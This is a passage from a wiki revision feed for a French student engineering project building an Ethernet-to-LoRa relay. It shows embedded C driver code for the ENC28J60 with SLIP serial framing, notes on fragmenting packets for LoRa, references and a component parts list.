			output_set(7,1);&lt;br /&gt;
		}&lt;br /&gt;
        }&lt;br /&gt;
	if((nb_ethernet&amp;gt;0)&amp;amp;&amp;amp;(serial_tx_available()))&lt;br /&gt;
	{&lt;br /&gt;
		if(index_ethernet&amp;lt;nb_ethernet)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(6,1);&lt;br /&gt;
			unsigned char c=packet_ethernet[index_ethernet++];&lt;br /&gt;
			if(c==SLIP_END){send_serial(SLIP_ESC); send_serial(SLIP_CODE_END);}&lt;br /&gt;
			else if(c==SLIP_ESC){send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC);}&lt;br /&gt;
			else send_serial(c);&lt;br /&gt;
			output_set(6,0);&lt;br /&gt;
		}&lt;br /&gt;
		else{send_serial(SLIP_END); nb_ethernet=0; output_set(7,0);}&lt;br /&gt;
	}&lt;br /&gt;
	if(serial_rx_available())&lt;br /&gt;
	{&lt;br /&gt;
		output_set(5,1);&lt;br /&gt;
		unsigned char c=get_serial();&lt;br /&gt;
		output_set(5,0);&lt;br /&gt;
		if(nb_serial==0) enc28j60InitializeSend(); &lt;br /&gt;
		if(c==SLIP_ESC)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(5,1);&lt;br /&gt;
			unsigned char code=get_serial();&lt;br /&gt;
			output_set(5,0);&lt;br /&gt;
			if(code==SLIP_CODE_END) &lt;br /&gt;
			{	&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_END);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
			else if(code==SLIP_CODE_ESC) &lt;br /&gt;
			{&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_ESC);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
        	}&lt;br /&gt;
		else if(c==SLIP_END)&lt;br /&gt;
		{&lt;br /&gt;
	 		&lt;br /&gt;
			enc28j60FinalizeSend();&lt;br /&gt;
			nb_serial=0;&lt;br /&gt;
		}&lt;br /&gt;
		else { enc28j60WriteByteSend(c); nb_serial++; }&lt;br /&gt;
	}&lt;br /&gt;
 }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Et cela marche aussi.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:ping.jpg|thumb|upright=2|ping]]&lt;br /&gt;
|[[Fichier:tcpdump.jpg|thumb|upright=2|tcpdump]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi remplacé la fonction '''enc28j60PacketReceive(unsigned int maxlen, unsigned char* packet)''' par 3 fonctions.&lt;br /&gt;
La première fonction permet d'initialiser le buffer de recevoir et voir s'il y a un paquet est reçu.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that initializes the receive buffer&lt;br /&gt;
unsigned int enc28j60PacketReceive(void)&lt;br /&gt;
{&lt;br /&gt;
	uint16_t rcvlen;&lt;br /&gt;
        uint16_t rxstat;&lt;br /&gt;
	&lt;br /&gt;
	// check if a packet has been received and buffered&lt;br /&gt;
	if(enc28j60Read(EPKTCNT)==0) &lt;br /&gt;
	{&lt;br /&gt;
		return(0);&lt;br /&gt;
	}&lt;br /&gt;
	&lt;br /&gt;
	// set the read pointer to the start of the received packet&lt;br /&gt;
	enc28j60Write(ERDPTL, (NextPacketPtr));&lt;br /&gt;
	enc28j60Write(ERDPTH, (NextPacketPtr)&amp;gt;&amp;gt;8);&lt;br /&gt;
	&lt;br /&gt;
	// read the next packet pointer&lt;br /&gt;
	NextPacketPtr = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
	NextPacketPtr |= enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0)&amp;lt;&amp;lt;8;&lt;br /&gt;
&lt;br /&gt;
	// read the packet length&lt;br /&gt;
	rcvlen = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
	rcvlen |= enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0)&amp;lt;&amp;lt;8;&lt;br /&gt;
	&lt;br /&gt;
	// read the receive status&lt;br /&gt;
	rxstat = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
	rxstat = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0)&amp;lt;&amp;lt;8;&lt;br /&gt;
	&lt;br /&gt;
	return(rcvlen);	&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La seconde fonction permets de lire un seul octet dans un paquet&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
unsigned char enc28j60ByteRead(void)&lt;br /&gt;
{&lt;br /&gt;
&lt;br /&gt;
	return enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
		&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La troisième fonction permets de libérer le buffer&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
void enc28j60FreeMemory(void)&lt;br /&gt;
{       &lt;br /&gt;
	// move the RX read pointer to the start of the next received packet&lt;br /&gt;
	// this frees the memory we just read out&lt;br /&gt;
	enc28j60Write(ERXRDPTL, (NextPacketPtr));&lt;br /&gt;
	enc28j60Write(ERXRDPTH, (NextPacketPtr)&amp;gt;&amp;gt;8);&lt;br /&gt;
	enc28j60WriteOp(ENC28J60_BIT_FIELD_SET,ECON2,ECON2_PKTDEC);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Donc le code principal est&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_serial(115200);&lt;br /&gt;
enc28j60Init(mac);&lt;br /&gt;
enc28j60InitializeSend();&lt;br /&gt;
output_init();&lt;br /&gt;
while(1)&lt;br /&gt;
 {&lt;br /&gt;
	if(nb_ethernet==0)&lt;br /&gt;
	{&lt;br /&gt;
		//nb_ethernet=enc28j60PacketReceive(MAX_BYTES,packet_ethernet);&lt;br /&gt;
		nb_ethernet=enc28j60PacketReceive();&lt;br /&gt;
		if(nb_ethernet!=0)&lt;br /&gt;
		{&lt;br /&gt;
			index_ethernet=0;&lt;br /&gt;
			output_set(7,1);&lt;br /&gt;
		}&lt;br /&gt;
        }&lt;br /&gt;
	if((nb_ethernet&amp;gt;0)&amp;amp;&amp;amp;(serial_tx_available()))&lt;br /&gt;
	{&lt;br /&gt;
		if(index_ethernet&amp;lt;nb_ethernet)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(6,1);&lt;br /&gt;
			unsigned char c=enc28j60ByteRead(); index_ethernet++;&lt;br /&gt;
			if(c==SLIP_END){send_serial(SLIP_ESC); send_serial(SLIP_CODE_END);}&lt;br /&gt;
			else if(c==SLIP_ESC){send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC);}&lt;br /&gt;
			else send_serial(c);&lt;br /&gt;
			output_set(6,0);&lt;br /&gt;
		}&lt;br /&gt;
		else&lt;br /&gt;
		{&lt;br /&gt;
			send_serial(SLIP_END); nb_ethernet=0; output_set(7,0);&lt;br /&gt;
			enc28j60FreeMemory(); &lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
	if(serial_rx_available())&lt;br /&gt;
	{&lt;br /&gt;
		output_set(5,1);&lt;br /&gt;
		unsigned char c=get_serial();&lt;br /&gt;
		output_set(5,0);&lt;br /&gt;
		if(nb_serial==0) enc28j60InitializeSend(); &lt;br /&gt;
		if(c==SLIP_ESC)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(5,1);&lt;br /&gt;
			unsigned char code=get_serial();&lt;br /&gt;
			output_set(5,0);&lt;br /&gt;
			if(code==SLIP_CODE_END) &lt;br /&gt;
			{	&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_END);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
			else if(code==SLIP_CODE_ESC) &lt;br /&gt;
			{&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_ESC);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
        	}&lt;br /&gt;
		else if(c==SLIP_END)&lt;br /&gt;
		{&lt;br /&gt;
			enc28j60FinalizeSend();&lt;br /&gt;
			nb_serial=0;&lt;br /&gt;
		}&lt;br /&gt;
		else { enc28j60WriteByteSend(c); nb_serial++; }&lt;br /&gt;
	}&lt;br /&gt;
 }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Avec toutes ces modifications, ces deux cartes Ethernet peuvent communiquer entre eux.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:ping1.jpg|thumb|upright=1.5|ping]]&lt;br /&gt;
|[[Fichier:tcpdump1.jpg|thumb|upright=1.5|tcpdump]]&lt;br /&gt;
|[[Fichier:communication1.jpg|thumb|upright=1.5|tcpdump]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Partie Ethernet+LoRa  &amp;lt;/span&amp;gt;&lt;br /&gt;
----&lt;br /&gt;
Pour cette partie, nous essayons de mettre toutes les cartes ensemble: enc28j60+arduino+LoRa. Les paquets que la carte ethernet reçoit doivent être envoyés à LoRa ensuite le LoRa va les envoyer à l'autre LoRa. Une fois que l'autre LoRa reçoit ces données, elles vont être envoyée à la carte ethernet. Le PC pourra traiter des données par la liaison série.&lt;br /&gt;
Pour réussir cette idée, nous avons rencontré deux problèmes principaux&lt;br /&gt;
* Le choix de CS d'Arduino&lt;br /&gt;
* La correspondance de la taille du paquet&lt;br /&gt;
1). Pour le premier problème, lorsque les fonctions de SPI sont déjà définies dans les fonctions dans la librairie de l'enc28j60 au lieu d'utiliser des fonctions définies nous avons appelé directement la fonction '''spi_init()''' dans le répertoire SPI du LoRa. Ensuite nous avons changé le pin de CS de l'enc28j60 pour que les deux cartes puissent travailler une après l'autre.  &lt;br /&gt;
&lt;br /&gt;
2). Lorsque la longueur d'un paquet Ethernet peut atteindre 1500 octets mais la longueur maximal d'un paquet pour LoRa ne fait que 64 octets, donc nous avions le problème de correspondance de la taille du paquet. Pour résoudre ce problème nous avons fait la fragmentation. Nous avons créé un tableau de 64 octets, ensuite nous avons remplit ce tableau octet par octet du paquet. La dernière case est réservée pour dire le numéro du fragement et vérifier si c'est la fin du paquet. Au niveau de la réception, si le récepteur doit recevoir des fragments en ordre. Une fois qu'il loupe un, le récepteur va s'arrêter de capter des paquets.&lt;br /&gt;
&lt;br /&gt;
= Références =&lt;br /&gt;
&lt;br /&gt;
=== Datasheets ===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:datasheet_cartereseau.pdf]]&lt;br /&gt;
&lt;br /&gt;
[[Fichier:datasheet_lora.pdf]]&lt;br /&gt;
&lt;br /&gt;
Micro-controleur Atmega328p: http://www.atmel.com/Images/Atmel-42735-8-bit-AVR-Microcontroller-ATmega328-328P_datasheet.pdf&lt;br /&gt;
&lt;br /&gt;
=== Documentation (Liens utiles) ===&lt;br /&gt;
&lt;br /&gt;
https://learn.adafruit.com/adafruit-feather-32u4-radio-with-lora-radio-module/downloads&lt;br /&gt;
&lt;br /&gt;
Schematic du module radio : http://modtronix.com/prod/imod/inair9/inair9_r1_sch.pdf&lt;br /&gt;
&lt;br /&gt;
Schematic du mbed : https://developer.mbed.org/media/uploads/chris/lpc1768-refdesign-schematic.pdf&lt;br /&gt;
&lt;br /&gt;
Carte MBED à base de microprocesseur ARM Cortex-3 : http://www.rennes.supelec.fr/ren/perso/jweiss/microp/mbed/mbed.php/&lt;br /&gt;
&lt;br /&gt;
Carte MBED : http://elmicro.com/en/mbed-nxp-lpc1768.html&lt;br /&gt;
&lt;br /&gt;
https://github.com/2xs/smews/tree/develop/targets/Arduino_ethernet/drivers&lt;br /&gt;
&lt;br /&gt;
= Rapport du PFE =&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Rapport_intermédiairePFE19_Chen_Nduwayo.pdf]]&lt;/div&gt;</summary>
		<author><name>Cchen2</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P19_Relai_Ethernet_Lora&amp;diff=39260</id>
		<title>P19 Relai Ethernet Lora</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P19_Relai_Ethernet_Lora&amp;diff=39260"/>
				<updated>2017-02-16T10:15:00Z</updated>
		
		<summary type="html">&lt;p&gt;Cchen2 : /* La programmation */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Présentation générale du projet=&lt;br /&gt;
===Contexte du projet===&lt;br /&gt;
&lt;br /&gt;
L'internet des objets est un domaine en pleine croissance qui permet entre autres d'établir des interactions entre des utilisateurs et des objets connectables.&lt;br /&gt;
&lt;br /&gt;
Les domaines d'applications sont diverses et variées: du contrôle des chauffages dans nos maisons en passant par les smart cities,ou encore le tracking des marchandises,..on y retrouve des dispositifs intelligents tels que des capteurs, des interfaces de communication avec d'autres dispositifs,..&lt;br /&gt;
Aujourd'hui plusieurs équipements embarqués voient le jour, cependant les protocoles de communication n'évoluent pas autant, entraînant donc une forte consommation d'énergie, un besoin énorme en termes de mémoire, réseau,..&lt;br /&gt;
&lt;br /&gt;
Semtech,une entreprise grenobloise, crée en 19 un modem radio LoRa adapté aux besoins des objets connectés et offre une technologie de communication à faible consommation d'énergie, une longue portée(pouvant aller jusqu'à 15 km),un débit faible,..&lt;br /&gt;
&lt;br /&gt;
L'actuelle main mise du privé sur les réseaux IP n'est pas forcément une bonne chose pour Internet.&lt;br /&gt;
&lt;br /&gt;
===Objectif du projet===&lt;br /&gt;
&lt;br /&gt;
L'objectif du projet est de réaliser un module autonome connectable sur une box Internet permettant de relier deux sites avec une connexion longue distance.&lt;br /&gt;
[[Fichier:carte.png|500px|center|Schématique de l'objectif du projet]]&lt;br /&gt;
&lt;br /&gt;
===Cahier de charges===&lt;br /&gt;
Le projet se déroulera en deux phases. Nous utiliserons 2 technologies: L'ethernet et la communication par radio fréquences.&lt;br /&gt;
&lt;br /&gt;
Nous réaliserons d'abord un premier prototype construit  autour d'un AtMega328P, d'une carte Ethernet (avec un micro-contrôleur Microchip ENC28J60), et d'un modem radio LoRa.&lt;br /&gt;
Un connecteur USB est prévu pour l'alimentation.&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous réaliserons un deuxième prototype sur la base d'un module MBED équipé d'un microcontroleur 32 bits à processeur ARM Cortex M3  , du même modem LoRa.&lt;br /&gt;
&lt;br /&gt;
Nous avons choisi ce processeur pour :&lt;br /&gt;
&lt;br /&gt;
le fait qu'un module Ethernet PHY soit  intégré; qui opère au niveau de la couche physique du modèle OSI et met en œuvre la partie de la couche physique Ethernet du 1000BASE-T, 100BASE-TX, et les normes 10BASE-T.&lt;br /&gt;
&lt;br /&gt;
la vitesse du processeur très élevée,&lt;br /&gt;
&lt;br /&gt;
Présence de plusieurs périphériques série&lt;br /&gt;
&lt;br /&gt;
En ce qui concerne l'environnement de développement,le compilateur MBED permet d'écrire des programmes en C++ qui peuvent être compilés en ligne.&lt;br /&gt;
    &lt;br /&gt;
Nous comptons également utiliser le protocole PoE (Power over Ethernet) pour l'alimentation par le port Ethernet, prévoir un protocole de communication pour la transmission des paquets Ethernet par LoRa.&lt;br /&gt;
&lt;br /&gt;
===Suivi du projet===&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Semaine 1 (19/09)&lt;br /&gt;
 | Réunions avec l'encadrant de projet / Définition des objectifs / Recherche bibliographique&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Semaine 2 (26/09)&lt;br /&gt;
 | &lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Semaine 3 (03/10)&lt;br /&gt;
 | &lt;br /&gt;
 |-&lt;br /&gt;
  ! scope=&amp;quot;row&amp;quot; | Semaine 4 (11/10)&lt;br /&gt;
 | Etablissement de la liste du matériel&lt;br /&gt;
 |-&lt;br /&gt;
   ! scope=&amp;quot;row&amp;quot; | Semaine 5(18/10)&lt;br /&gt;
 | Etablissement de la liste du matériel&lt;br /&gt;
 |-&lt;br /&gt;
   ! scope=&amp;quot;row&amp;quot; | Semaine 6(25/10)&lt;br /&gt;
 | Recherche de la librairie C pour le SX1276&lt;br /&gt;
 |-&lt;br /&gt;
   ! scope=&amp;quot;row&amp;quot; | Semaine 7(31/10)&lt;br /&gt;
 | Réalisation des schematics pour la carte1 et création des bibliothèques des composants&lt;br /&gt;
 |-&lt;br /&gt;
&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
===Planning prévisionnel===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Planning_.pdf]]&lt;br /&gt;
&lt;br /&gt;
[[Fichier:PLANNING.png|800px|center|Planning du projet]]&lt;br /&gt;
&lt;br /&gt;
===La recherche et la documentation ===&lt;br /&gt;
====Microcontrôleur Atmega328p====&lt;br /&gt;
Atmega328p est un mono-puce microcontrôleur.&lt;br /&gt;
====Carte Réseau====&lt;br /&gt;
=====Qu'est-ce qu'une carte réseau?=====&lt;br /&gt;
La carte réseau (appelée Network Interface Card en anglais et notée NIC) constitue l'interface entre l'ordinateur et le câble du réseau. La fonction d'une carte réseau est de préparer, d'envoyer et de contrôler les données sur le réseau. &lt;br /&gt;
&lt;br /&gt;
Pour préparer les données à envoyer, la carte réseau utilise un transceiver qui transforme les données parallèles en données séries. Chaque carte dispose d'une adresse unique, appelée adresse MAC, affectée par le constructeur de la carte, ce qui lui permet d'être identifiée de façon unique dans le monde parmi toutes les autres cartes réseau. &lt;br /&gt;
&lt;br /&gt;
=====Quel est le rôle d'une carte réseau?=====&lt;br /&gt;
Une carte réseau sert d'interface physique entre l'ordinateur et le câble. Elle prépare pour le câble réseau les données émises par l'ordinateur, les transfère vers un autre ordinateur et contrôle le flux de données entre l'ordinateur et le câble. Elle traduit aussi les données venant du câble et les traduit en octets afin que l'Unité Centrale de l'ordinateur les comprenne. Ainsi une carte réseau est une carte d'extension s'insérant dans un connecteur d'extensions (slot). &lt;br /&gt;
&lt;br /&gt;
=====Qu'est-ce qu'une carte réseau Ethernet?=====&lt;br /&gt;
La plupart des cartes réseau destinées au grand public sont des cartes Ethernet. Elles utilisent comme support de communication des paires torsadées (8 fils en cuivre), disposant à chaque extrémité de prises RJ45. &lt;br /&gt;
&lt;br /&gt;
Les trois standards Ethernet (norme 802.3) les plus courants correspondent aux trois débits les plus fréquemment rencontrés : &lt;br /&gt;
1.Le 10Base-T permet un débit maximal de 10 Mbit/s. Le câble RJ45 peut alors mesurer jusqu'à une centaine de mètres et seuls 4 des 8 fils sont    utilisés.&lt;br /&gt;
2.Le 100Base-TX permet un débit maximal de 100 Mbit/s. Il est également appelé Fast Ethernet et est désormais supporté par la quasi-totalité des cartes réseau. Comme pour le 10Base-T, le câble RJ45 peut alors mesurer jusqu'à une centaine de mètres et seuls 4 des 8 fils sont utilisés.&lt;br /&gt;
3.Le 1000Base-T permet un débit maximal de 1 000 Mbit/s. Il est également appelé Gigabit Ethernet et se démocratise rapidement. Pour que le réseau fonctionne correctement, le câble RJ45 peut toujours mesurer jusqu'à 100 m, mais doit être de bonne qualité. Cette fois, les 8 fils sont utilisés.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:ce.jpg|300px|center|Carte Ethernet]]&lt;br /&gt;
&lt;br /&gt;
=====Ethernet Module ENC28J60=====&lt;br /&gt;
Pour la suite de notre projet, il faut une bonne connaissance du module ENC28J60. Les comportements d'enc28j60.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
| [[Fichier:enc28j60.png|thumb|upright=2|L'intérieure d'enc28j60]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
Il y a trois types de registres pour enc28j60: controller registre, ethernet registre et mac registre. Pour voir comment fonctionne le registre, cela contient 2+2+2 étapes, c'est à dire que l'écriture de registre et la lecture de registre, l'écriture de buffer et la lecture de buffer, l'écriture de registre PHY et la lecture de registre PHY. Les fonctions dans la librairie d'enc28j60 qui permettent de réaliser toutes ces l'écriture et la lecture sont.&lt;br /&gt;
&lt;br /&gt;
=Avancement du projet=&lt;br /&gt;
===Souder la carte Ethernet===&lt;br /&gt;
[[Fichier:carte1.JPG|500px|center|Carte Ethernet]]&lt;br /&gt;
&lt;br /&gt;
===Liste du matériel ===&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! Matériel !! Quantité requise !! Quantité disponible !! A commander !! Commentaires &lt;br /&gt;
 |-&lt;br /&gt;
 |&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Premier prototype (à base d'un AtMega328P) &amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Partie Ethernet&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistances 49.9Ω &lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0063w0603149r9/res-couche-epaisse-49-9r-1-0-063w/dp/1170658]&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistances 270Ω &lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0063w06031270r/res-couche-epaisse-270r-1-0-063w/dp/9330917]&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistances 2.32kΩ &lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/panasonic-electronic-components/erj3ekf2321v/res-couche-epaisse-2-32k-1-0-1w/dp/2059348]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités polarisation 10µF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/Panasonic/EEE-1CA100SR/?qs=sGAEpiMZZMtZ1n0r9vR22cS6GEbW2ftopYz4rCIbvDM%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 0.1µF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603b104k500ct/condensateur-mlcc-x7r-0-1uf-50v/dp/2496834]&lt;br /&gt;
 |- &lt;br /&gt;
 | Capacités 20pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n200j500ct/condensateur-mlcc-c0g-20pf-50v/dp/2627461]&lt;br /&gt;
 |- &lt;br /&gt;
 | Capacités 1µF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603f105z160ct/condensateur-mlcc-y5v-1uf-0603/dp/1759408]&lt;br /&gt;
 |-&lt;br /&gt;
 | Puce Électronique ENC28J60SP&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/microchip/enc28j60-i-ss/controller-ethernet-w-spi-28ssop/dp/1811239]&lt;br /&gt;
 |- &lt;br /&gt;
 | Régulateur MCP1702Z&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Mouser [http://eu.mouser.com/ProductDetail/Microchip-Technology/MCP1702T-3302E-CB/?qs=sGAEpiMZZMvAvBNgSS9Lqk3eHZrpDiDq]&lt;br /&gt;
 |-&lt;br /&gt;
 |Régulateur de tension LD1117AV33&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/STMicroelectronics/LD1117S33CTR/?qs=sGAEpiMZZMsGz1a6aV8DcJsN6alkZ8%2fO7DPMKNVBfQo%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Connecteur SI-50196-F&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Digi-Key [http://www.digikey.com/product-detail/en/stewart-connector/SI-50196-F/380-1104-ND/1033370]&lt;br /&gt;
 |-&lt;br /&gt;
 | Filtre BL01RN1A&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/murata/bl01rn1a1d2b/inductance-axial/dp/9526820][http://eu.mouser.com/ProductDetail/Murata-Electronics/BLM18SG260TZ1D/?qs=sGAEpiMZZMtdyQheitOmRQALsn%2f4R2uWDsPpHR73GJ7AqK%2feTuCJMw%3d%3d]&lt;br /&gt;
 |- |&lt;br /&gt;
 | Quartz ECSS250XM&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/TXC-Corporation/AT-27000MAGK-T/?qs=sGAEpiMZZMsBj6bBr9Q9acbyZ2GpyozzM1WJFBKECM0%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Partie  Arduino&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | Micro-contrôleur de type ATMEGA328P&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/atmel/atmega328p-mur/mcu-8-bits-atmega-20mhz-mlf-32/dp/2425125]&lt;br /&gt;
 |- &lt;br /&gt;
 | Quartz FA238 16MHz&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/iqd-frequency-products/lfxtal003237/quartz-cms-16mhz/dp/9713808?MER=BN-PDP-9713808]&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistance 1MΩ +/- 5%&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603saf1004t5e/thick-film-resistor-1mohm-100mw/dp/1631320]&lt;br /&gt;
 |- |&lt;br /&gt;
 | Résistance 1KΩ&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mcwr06x1001ftl/res-couche-epaisse-1k-1-0-1w-0603/dp/2447272]&lt;br /&gt;
 |-&lt;br /&gt;
 | Resistances 470Ω&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0063w06031470r/res-couche-epaisse-470r-1-0-063w/dp/9331239]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacité 100nF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell  [http://fr.farnell.com/multicomp/mc0603b104k500ct/condensateur-mlcc-x7r-100nf-50v/dp/1759122]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacité 4.7uF&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603x475k6r3ct/condensateur-mlcc-x5r-4-7uf-6/dp/2320811]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacité 10uF&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5 |&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603x106m6r3ct/condensateur-mlcc-x5r-10uf-0603/dp/1759393]&lt;br /&gt;
 |-&lt;br /&gt;
 | Interrupteur&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/CK-Components/GT11MSABE/?qs=sGAEpiMZZMvudeGI7i40XDPOW52%2fnz5EVihaxwUPFuE%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Embase USB&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Farnell [http://fr.farnell.com/te-connectivity-amp/1734328-1/embase-mini-usb-2-0-type-ab-traversante/dp/2112375?ost=2112375&amp;amp;selectedCategoryId=&amp;amp;categoryNameResp=Toutes%2Bles%2Bcat%25C3%25A9gories&amp;amp;searchView=table&amp;amp;iscrfnonsku=false]&lt;br /&gt;
 |-&lt;br /&gt;
 | FTDI FT232 BASIC&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
